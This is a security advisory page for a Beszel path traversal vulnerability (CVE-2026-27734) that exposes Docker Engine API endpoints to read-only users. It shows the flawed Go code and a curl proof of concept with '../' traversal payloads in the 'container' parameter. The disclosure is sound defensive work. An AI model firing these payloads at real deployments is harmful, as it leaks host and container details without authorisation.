6.5medium
Beszel Vulnerable to Docker API Path Traversal via Unsanitized Container ID
- Severity
- 6.5medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.54% (higher than 46% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-phwh-4f42-gwf3GO-2026-4571
Description
Beszel is a server monitoring platform. Prior to version 0.18.2, the hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize `../` sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. Version 0.18.4 fixes the issue.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| henrygd beszel | < 0.18.4 | CVE List |
| github.com/henrygd/beszel (Go) | before 0.18.4 | GitHub Advisory Database, Go Vulnerability Database |
| beszel beszel | before 0.18.2 | NVD |
All scores
| GitHub_M | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| GitHub | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.
What each source says
CVE List
Beszel is a server monitoring platform. Prior to version 0.18.2, the hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize `../` sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details. Version 0.18.4 fixes the issue.
GitHub Advisory Database
Summary
The hub's authenticated API endpoints GET /api/beszel/containers/logs and GET /api/beszel/containers/info pass the user-supplied "container" query parameter to the agent without validation. The agent constructs Docker Engine API URLs using fmt.Sprintf with the raw value instead of url.PathEscape(). Since Go's http.Client does not sanitize ../ sequences from URL paths sent over unix sockets, an authenticated user (including readonly role) can traverse to arbitrary Docker API endpoints on agent hosts, exposing sensitive infrastructure details.
Details
Hub (internal/hub/hub.go:407-426): containerID from query param is only checked for emptiness, no format validation:
containerID := e.Request.URL.Query().Get("container")
if systemID == "" || containerID == "" { ... }
data, err := fetchFunc(system, containerID) // passed directly to agent
Agent (agent/docker.go:651-652 and 682-683): raw containerID interpolated into Docker API URL:
endpoint := fmt.Sprintf("http://localhost/containers/%s/json", containerID)
endpoint := fmt.Sprintf("http://localhost/containers/%s/logs?stdout=1&stderr=1&tail=%d", containerID, dockerLogsTail)
Go's http.Client preserves ../ in paths over unix sockets (verified with test code). The Docker daemon resolves them via cleanPath, routing the request to unintended API endpoints.
PoC
Tested on Beszel v0.18.3 with hub and agent running in Docker (host network mode).
# Authenticate
TOKEN=$(curl -s -X POST "http://localhost:8090/api/collections/users/auth-with-password" \
-H "Content-Type: application/json" \
-d '{"identity":"user@example.com","password":"password"}' | jq -r '.token')
SYSTEM="<system_id>"
# Path traversal: Docker version (returns full engine version, kernel, Go version)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../version?x=" \
-H "Authorization: Bearer $TOKEN"
# Path traversal: Docker system info (returns hostname, OS, container count, network config)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../../info?x=" \
-H "Authorization: Bearer $TOKEN"
# Path traversal: List all images (triggers unmarshal error confirming traversal works)
curl -s "http://localhost:8090/api/beszel/containers/info?system=$SYSTEM&container=../images/json?x=" \
-H "Authorization: Bearer $TOKEN"
All three requests returned real data from the Docker Engine API on the agent host.
Impact
Any authenticated user (including readonly role) can read arbitrary Docker Engine API GET endpoints on all connected agent hosts. Exposed information includes: hostname, OS version, kernel version, Docker version, container inventory, image list, network topology, storage driver configuration, and security options. This is a privilege escalation, readonly users should not have access to host-level infrastructure details.
Researcher
Sergio Cabrera https://www.linkedin.com/in/sergio-cabrera-878766239/
Go Vulnerability Database
Beszel: Docker API has a Path Traversal Vulnerability via Unsanitized Container ID in github.com/henrygd/beszel
NVD (es)
Beszel es una plataforma de monitorización de servidores. Antes de la versión 0.18.2, los endpoints autenticados de la API del hub GET /api/beszel/containers/logs y GET /api/beszel/containers/info pasaban el parámetro de consulta 'container' proporcionado por el usuario al agente sin validación. El agente construye URLs de la API de Docker Engine usando fmt.Sprintf con el valor sin procesar en lugar de url.PathEscape(). Dado que el http.Client de Go no sanitiza las secuencias '../' de las rutas URL enviadas a través de sockets Unix, un usuario autenticado (incluido el rol de solo lectura) puede acceder a endpoints arbitrarios de la API de Docker en los hosts del agente, exponiendo detalles sensibles de la infraestructura. La versión 0.18.4 corrige el problema.
References
| https://github.com/henrygd/beszel/security/advisories/GHSA-phwh-4f42-gwf3 | advisory, exploit, vendor-advisory, web | |
| https://github.com/henrygd/beszel/releases/tag/v0.18.4 | product, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-27734 | advisory | |
| https://github.com/henrygd/beszel/commit/311095cfddda113863ca9656cf9e99411be1cef5 | fix, web | |
| https://github.com/henrygd/beszel | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-27734 changed 2026-03-02 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-phwh-4f42-gwf3 changed 2026-03-23 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4571 changed 2026-03-23 | CC-BY-4.0 |
| NVD | CVE-2026-27734 changed 2026-06-17 | Public domain |